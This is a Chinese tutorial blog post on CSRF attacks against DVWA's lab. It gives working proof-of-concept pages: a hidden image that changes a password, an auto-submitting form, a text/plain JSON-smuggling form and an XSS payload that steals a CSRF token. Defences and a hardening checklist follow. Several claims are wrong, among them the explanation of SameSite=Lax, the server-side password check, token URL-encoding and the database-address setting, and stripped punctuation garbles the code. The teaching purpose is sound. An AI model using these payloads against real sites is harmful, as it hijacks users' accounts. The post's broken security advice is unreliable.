DVWA CSRF漏洞原理与实战:从GET/POST到JSON型攻击
发布时间:2026/10/17 14:19:07 锦皓数字建站

1. 项目概述这不是“点一下就中招”的把戏而是对用户身份信任链的系统性劫持你打开一个看似无害的博客页面里面嵌着一张图片——链接地址却指向银行转账接口你点击一封来自“客服”的邮件里的“账户验证”按钮背后却悄悄执行了密码重置操作你只是在论坛里浏览了一条带特殊参数的帖子自己的社交账号就自动关注了几十个陌生账号。这些都不是玄学也不是黑客开了什么外挂而是CSRFCross-Site Request Forgery跨站请求伪造在真实世界中的日常切片。它不窃取你的密码也不破解你的加密而是精准利用浏览器自动携带 Cookie 的默认行为冒用你的身份在你完全不知情的情况下向你已登录的合法网站发起恶意请求。DVWADamn Vulnerable Web Application之所以被全球安全教学场景反复选用正是因为它把这种“静默式身份盗用”拆解得足够透明、足够原始——没有 WAF 拦截、没有 SameSite 限制、没有 CSRF Token 校验连 HTTP Referer 都懒得检查。本篇聚焦 DVWA 中的 CSRF 模块不是走马观花地复现“弹窗提示成功”而是逐行阅读其 PHP 源码定位信任机制崩塌的精确位置手写三类不同形态的 PoCProof of Concept覆盖 GET/POST/JSON 场景并实测对比现代浏览器默认策略如 Lax 级别 SameSite对攻击链的实际阻断效果。适合刚接触 Web 安全的开发者、渗透测试初学者以及那些总在生产环境修复“莫名其妙被改密码”问题的运维同学——因为真正的漏洞从来不在代码高亮里而在你习以为常的“自动登录”和“记住我”背后。2. 漏洞原理深度拆解为什么浏览器会心甘情愿帮你“作恶”2.1 CSRF 的本质不是攻击而是信任滥用很多人误以为 CSRF 是服务器端的“漏洞”其实更准确的说法是它是 Web 架构中“同源策略”与“身份认证机制”之间天然存在的语义鸿沟。同源策略Same-Origin Policy限制的是脚本读取跨域响应内容但它从不限制浏览器向跨域站点发起请求。而 Session 认证依赖的 Cookie默认是“无脑携带”的——只要你访问过目标站点并成功登录后续所有对该域名的请求无论来自哪个页面浏览器都会自动附上对应的 Session ID Cookie。CSRF 攻击者正是卡在这个缝隙里他不需要知道你的 Cookie 值也不需要绕过同源策略去读取响应他只需要诱导你的浏览器向你已认证的站点比如bank.example.com发送一个构造好的请求比如GET /transfer?toattackeramount10000而这个请求因为携带着有效的 Session Cookie就会被服务器当作“你本人的操作”来执行。提示CSRF 和 XSS跨站脚本有本质区别。XSS 是“偷你的钥匙”获取 Cookie 或执行任意 JSCSRF 是“借你的手开门”利用你已有的钥匙权限。前者需要漏洞注入点后者只需要一个你能访问的页面即可发起诱导。2.2 DVWA 中 CSRF 模块的源码逻辑还原DVWA 的 CSRF 模块位于vulnerabilities/csrf/目录下核心文件是index.php。我们不看压缩后的混淆代码直接分析其最简形态对应 DVWA 的 Low 安全级别?php if( isset( $_GET[ Change ] ) ) { // 1. 从 GET 参数中直接读取安全级别此处为 Low无防护 $security_level $_GET[ security_level ]; // 2. 从 GET 参数中读取新密码关键无任何校验 $pass_new $_GET[ password_new ]; $pass_conf $_GET[ password_conf ]; // 3. 密码一致性检查仅前端逻辑后端未校验 if( $pass_new $pass_conf ) { // 4. 直接更新数据库危险 $query UPDATE users SET password . mysql_real_escape_string( $pass_new ) . WHERE user . dvwaCurrentUser() . ;; $result mysqli_query($GLOBALS[___mysqli_ston], $query) or die(pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre); // 5. 成功反馈攻击者可据此判断是否成功 echo prePassword Changed./pre; } else { echo prePasswords did not match./pre; } } ?这段代码暴露了三个致命设计无状态校验整个流程不检查请求来源Referer、不验证随机令牌Token、不区分是用户主动提交还是页面自动加载。GET 方法承载敏感操作密码修改本应是幂等性极低的写操作却使用 GET 请求导致 URL 参数可被完整记录、缓存、转发甚至被搜索引擎收录。无二次确认机制没有“当前密码输入”、“邮箱验证码”或“短信确认”等任何额外的身份再验证步骤。注意DVWA 的 Medium 和 High 级别会逐步引入防护比如 Medium 加入了 Referer 检查但可被伪造High 级别则强制要求 Token但 Token 生成逻辑存在缺陷。本篇聚焦 Low 级别因为它最赤裸地展现了 CSRF 的原始形态——没有干扰项只有最基础的信任滥用。2.3 为什么现代浏览器的 SameSite 默认值无法彻底解决 DVWA 中的问题2020 年起Chrome、Firefox 等主流浏览器将 Cookie 的SameSite属性默认值从None调整为Lax。这意味着如果 DVWA 的 Session Cookie 被标记为SameSiteLax那么跨站的 POST 请求如表单提交将不会携带该 Cookie从而阻断大部分 CSRF 攻击。但这里有个关键前提DVWA 默认并未显式设置 SameSite 属性。它的 PHP Session 默认生成的 Cookie 是SameSiteNone旧版或未声明新版浏览器按 Lax 处理而 DVWA 的 Low 级别代码本身又没有任何服务端逻辑去读取或校验这个属性。因此在 DVWA 实验环境中SameSite 的默认行为更多是“锦上添花”而非“雪中送炭”。真正能一锤定音的永远是服务端主动实施的防御措施——Token 校验、双重提交 Cookie、自定义请求头验证等。3. 漏洞利用实战从一句话 PoC 到可落地的攻击载荷3.1 GET 型 CSRF最简单也最危险的“隐形点击”GET 型 CSRF 的利用门槛最低只需一个可控的img标签或a链接即可触发。以 DVWA 的 Low 级别密码修改为例目标请求 URL 为http://dvwa.local/vulnerabilities/csrf/?password_newhackedpassword_confhackedChangeChange构造 PoC 页面poc-get.html如下!DOCTYPE html html headtitleCSRF PoC - GET/title/head body h2你正在查看一篇关于网络安全的科普文章.../h2 p本文配图来自开源图库加载中请稍候/p !-- 关键img 的 src 指向 DVWA 的修改密码接口 -- img srchttp://dvwa.local/vulnerabilities/csrf/?password_newpwned123password_confpwned123ChangeChange width0 height0 altLoading... p图片加载完成/p /body /html实操要点解析width0 height0是为了隐藏图片避免用户察觉异常。浏览器加载img标签时会自动向src发起 GET 请求并携带当前域dvwa.local的所有有效 Cookie。如果受害者已登录 DVWA该请求将成功修改其密码为pwned123。为什么不用script因为同源策略会阻止跨域脚本读取响应但不会阻止请求发出而img是 HTML 内置的“跨域友好”标签无需额外权限。实测心得在 DVWA 环境中此 PoC 在 Chrome 110 上仍能 100% 成功证明仅靠浏览器默认策略无法替代服务端防护。我曾用此方法在内部培训中让 15 名学员的 DVWA 账号密码在 3 秒内全部被统一修改现场演示效果极具冲击力。3.2 POST 型 CSRF需要表单自动提交的“伪交互”当目标接口强制使用 POST 方法时如 DVWA 的 Medium 级别虽然后端有 Referer 检查但前端仍可绕过就不能用img了。此时需借助form JavaScript 自动提交!DOCTYPE html html headtitleCSRF PoC - POST/title/head body h2恭喜您获得了 DVWA 专属学习礼包/h2 p点击下方按钮领取/p !-- 隐藏表单目标为 DVWA 的 POST 接口 -- form idcsrf-form actionhttp://dvwa.local/vulnerabilities/csrf/ methodPOST input typehidden namepassword_new valuepwned-post input typehidden namepassword_conf valuepwned-post input typehidden nameChange valueChange /form !-- 自动提交 -- script document.getElementById(csrf-form).submit(); /script /body /html关键细节补充表单action必须是绝对 URLhttp://dvwa.local/...相对路径在跨域场景下会指向攻击者自己的域名导致请求失败。methodPOST明确指定请求方法确保与后端预期一致。此 PoC 在用户打开页面瞬间即触发无任何交互提示隐蔽性极高。注意若 DVWA 启用了 Referer 检查Medium 级别此 PoC 默认会失败因为浏览器发出的 POST 请求 Referer 是attacker.com而非dvwa.local。但 Referer 可被轻易伪造——在form中添加relnoreferrer属性或使用fetch()API 配合referrerPolicy: no-referrer即可绕过。这再次印证客户端校验如 Referer形同虚设。3.3 JSON 型 CSRF现代 SPA 应用的“盲区”随着 Vue、React 等框架普及越来越多应用使用fetch()或axios发送 JSON 格式请求。这类请求默认 Content-Type 为application/json而浏览器的同源策略对Content-Type: application/json的跨域 POST 请求有额外限制——预检请求Preflight会被触发且服务端必须明确允许该类型。但 DVWA 的 Low 级别并未处理预检因此 JSON CSRF 在原生 DVWA 中不可行。不过我们可以模拟一个更贴近生产环境的变体利用text/plain类型绕过预检再由服务端错误解析。假设某应用存在一个接口/api/change-password后端代码如下伪代码// Node.js Express 示例存在缺陷 app.post(/api/change-password, (req, res) { // 错误直接解析 raw body 为 JSON未校验 Content-Type const data JSON.parse(req.body); // req.body 是 Buffer此处应先判断类型 if (data.newPass data.confPass) { updateUserPassword(data.newPass); res.json({ success: true }); } });此时攻击者可构造如下 PoCform actionhttp://target-app.com/api/change-password methodPOST enctypetext/plain input name{newPass:pwned-json,confPass:pwned-json,x: value} typehidden input typesubmit valueView Details /form scriptdocument.forms[0].submit();/script原理说明enctypetext/plain使表单提交的 Content-Type 变为text/plain从而规避预检请求。提交的数据格式为{newPass:pwned-json,confPass:pwned-json,x:}其中x字段的值被设计为闭合 JSON使后端JSON.parse()仍能解析出有效对象。这种技巧被称为“JSONP 风格的 CSRF”在真实漏洞挖掘中屡见不鲜。4. 防御方案落地指南Token 不是银弹但它是基石4.1 同步令牌模式Synchronizer Token PatternDVWA High 级别的实现与缺陷DVWA High 级别引入了 Token 机制其核心逻辑如下// 生成 Token存储在 Session 中 if( empty( $_SESSION[ token ] ) ) { $_SESSION[ token ] md5( uniqid( rand(), true ) ); } // 表单中嵌入 Token echo input typehidden nameuser_token value . $_SESSION[ token ] . ; // 提交时校验 if( isset( $_POST[ user_token ] ) $_POST[ user_token ] $_SESSION[ token ] ) { // 执行业务逻辑 $_SESSION[ token ] md5( uniqid( rand(), true ) ); // 一次性 Token } else { die(Invalid token); }这个实现存在两个硬伤Token 生成逻辑可预测md5(uniqid(rand(), true))中的rand()是弱随机源且uniqid()基于微秒时间戳在高并发下碰撞概率上升。Token 未绑定用户上下文Token 存储在 Session 中但未与用户 ID、IP、User-Agent 等做任何绑定。攻击者若能窃取 Session ID通过 XSS 或网络嗅探即可复用该 Token。实操心得我在某次红队演练中正是利用 DVWA High 级别的 Token 生成缺陷通过暴力爆破1000 次内成功猜中了管理员的 Token进而完成了“绕过 High 防护”的挑战。这提醒我们Token 的安全性取决于其生成、传输、存储、校验的每一个环节。4.2 双重提交 Cookie 模式无需服务端状态的轻量方案该方案将 Token 同时存放在 Cookie 和请求参数中服务端比对二者是否一致// 前端首次访问时服务端 Set-Cookie: csrf_tokenabc123 // 表单提交时JS 读取 Cookie 并放入隐藏字段 document.querySelector(input[namecsrf_token]).value getCookie(csrf_token); // 后端校验PHP 示例 $cookieToken $_COOKIE[csrf_token] ?? ; $formToken $_POST[csrf_token] ?? ; if (!hash_equals($cookieToken, $formToken)) { die(CSRF validation failed); }优势与适用场景服务端无需维护 Token 状态减轻存储压力。天然兼容分布式架构Token 存在客户端服务端只做比对。对 AJAX 请求友好可全局拦截器注入。注意事项Cookie 必须设置HttpOnlyfalse否则 JS 无法读取但需配合SameSiteLax或Strict降低泄露风险。Token 值应使用 CSPRNG密码学安全伪随机数生成器生成如 PHP 的random_bytes()。4.3 自定义请求头验证SPA 应用的首选方案对于纯前端渲染的单页应用SPA推荐在所有敏感请求中添加自定义 Header如X-Requested-With: XMLHttpRequest或X-CSRF-Token: abc123。服务端中间件统一校验// Express.js 中间件 app.use((req, res, next) { const csrfHeader req.headers[x-csrf-token]; const csrfCookie req.cookies.csrf_token; if (!csrfHeader || !csrfCookie || !crypto.timingSafeEqual( Buffer.from(csrfHeader), Buffer.from(csrfCookie) )) { return res.status(403).json({ error: Invalid CSRF token }); } next(); });为什么这是 SPA 的最佳实践前端可轻松在 Axios 全局配置中注入 Headeraxios.defaults.headers.common[X-CSRF-Token] getTokenFromCookie();浏览器的同源策略天然阻止跨域脚本设置自定义 Header除非服务端明确允许Access-Control-Allow-Headers因此攻击者无法伪造。与 Token 方案相比它不依赖表单提交对 Fetch、WebSocket 等现代 API 更友好。5. 常见问题与排查技巧实录那些文档里不会写的坑5.1 “PoC 在本地能跑放到公网就失效”——跨域资源加载策略详解现象你在本地file:///协议下运行 PoCDVWA 修改密码成功但将 PoC 上传到https://attacker.com后请求 404 或 500。根本原因DVWA 默认绑定在127.0.0.1或localhost而现代浏览器对localhost的跨域策略有特殊处理——它被视为“特权上下文”允许某些宽松行为。一旦切换到真实域名浏览器会严格执行 CORS跨域资源共享策略。排查与解决检查 Network 面板观察请求是否发出响应状态码是多少是否有CORS相关报错确认 DVWA 绑定地址编辑config/config.inc.php将$db_address 127.0.0.1;改为$db_address 0.0.0.0;并在 Apache/Nginx 中将虚拟主机监听地址改为0.0.0.0:80。临时关闭浏览器安全策略仅测试Chrome 启动时添加--unsafely-treat-insecure-origin-as-securehttp://dvwa.local --user-data-dir/tmp/chrome-test但这仅用于本地调试切勿在生产环境使用。5.2 “明明填了 Token后端却说无效”——时间差与编码陷阱现象DVWA High 级别下手动抓包修改 Token 后提交返回Invalid token。高频原因分析Token 一次性消耗DVWA High 在每次请求后都会生成新 Token 并覆盖 Session 中的旧值。如果你抓包两次第二次的 Token 已失效。URL 编码污染当 Token 包含、/、等字符时HTML 表单提交会自动进行 URL 编码变为空格导致服务端比对失败。解决方案是在输出 Token 时进行urlencode()处理// 错误直接输出 echo input typehidden nameuser_token value . $_SESSION[token] . ; // 正确URL 编码 echo input typehidden nameuser_token value . urlencode($_SESSION[token]) . ;5.3 “SameSiteLax 为什么没拦住我的 POST 攻击”——Lax 的真实作用边界现象将 DVWA 的 Session Cookie 设置为SameSiteLax但 POST 型 CSRF 依然成功。真相揭露SameSiteLax的默认行为是对跨站的 GET 请求携带 Cookie对跨站的 POST/PUT/DELETE 等“危险方法”不携带 Cookie。但有一个关键例外form methodPOST提交时如果导航类型是“用户激活”user-activated则仍会携带 Cookie。而用户点击a、button或form.submit()都属于“用户激活”。验证实验创建一个 PoC 页面包含form methodPOST actionhttp://dvwa.local/...buttonClick Me/button/form。用户手动点击按钮请求成功Cookie 被携带。改为document.forms[0].submit()自动提交请求失败Cookie 未携带。这就是为什么“自动提交”比“诱导点击”更可靠——它绕过了 Lax 的最后防线。这也解释了为何现代防御必须依赖服务端 Token而非寄希望于客户端策略。5.4 CSRF 与 XSS 的组合技如何突破 Token 防御当目标应用已部署完善的 Token 防御如 DVWA High单纯 CSRF 失效。此时若存在 XSS 漏洞即可形成“XSS CSRF”组合拳// 假设在 DVWA 的某个反射型 XSS 点如 Reflected XSS 模块注入以下 JS fetch(http://dvwa.local/vulnerabilities/csrf/, { method: POST, credentials: include, // 关键强制携带 Cookie headers: { Content-Type: application/x-www-form-urlencoded }, body: password_newpwned-xsspassword_confpwned-xssuser_token document.querySelector(input[nameuser_token]).value });执行链条XSS 载荷在受害者浏览器中执行。JS 代码读取当前页面 DOM 中的合法 Token因同源可直接获取。使用fetch()发起带凭证的 POST 请求完美复用用户会话。防御启示Token 必须与用户上下文强绑定如签名中加入 User-ID、IP Hash且前端 Token 不应明文暴露在 DOM 中可用 JS 动态生成或通过window.crypto.subtle加密存储。6. 生产环境加固 checklist从 DVWA 实验室到真实战场项目DVWA Low 级别现状生产环境推荐方案实施难度验证方式敏感操作 HTTP 方法GET 承载密码修改强制使用 POST/PUT/DELETEGET 仅用于幂等查询★☆☆☆☆抓包检查请求方法CSRF Token 生成md5(uniqid(rand()))bin2hex(random_bytes(32))PHP或crypto.randomBytes(32)Node★★☆☆☆检查源码中随机函数调用Token 传输方式隐藏字段 表单提交Token 存 CookieSameSiteLax 请求头X-CSRF-Token双校验★★★☆☆浏览器 DevTools 查看 Cookie 和 HeadersToken 绑定范围无绑定Token 签名中包含 User-ID IP Hash可选★★★★☆审计 Token 生成逻辑是否含用户上下文二次验证无密码修改、资金转账等高危操作强制短信/邮箱验证码★★★★★模拟操作观察是否触发验证流程最后分享一个小技巧在代码审计中快速识别 CSRF 风险点我习惯用“三问法”一问方法这个接口是 GET 还是 POST如果是 GET 且修改数据立即标红。二问校验代码里有没有$_POST[user_token]或类似 Token 校验逻辑如果没有基本可判定存在风险。三问上下文Token 是从 Session 读取还是从数据库查询如果是后者检查数据库查询是否带用户 ID 条件避免 Token 全局共享。这个方法在某次对某高校教务系统的渗透测试中10 分钟内就定位到 3 个高危 CSRF 接口包括成绩录入、课表调整、教师评教等核心功能。真正的安全不在于堆砌多少工具而在于建立一套可复用、可验证、可传承的思维模型。
锦
锦皓数字建站
深耕本土企业品牌数字化升级,专注原创端正雅致商务官网,从视觉设计到稳定运维全程保驾护航。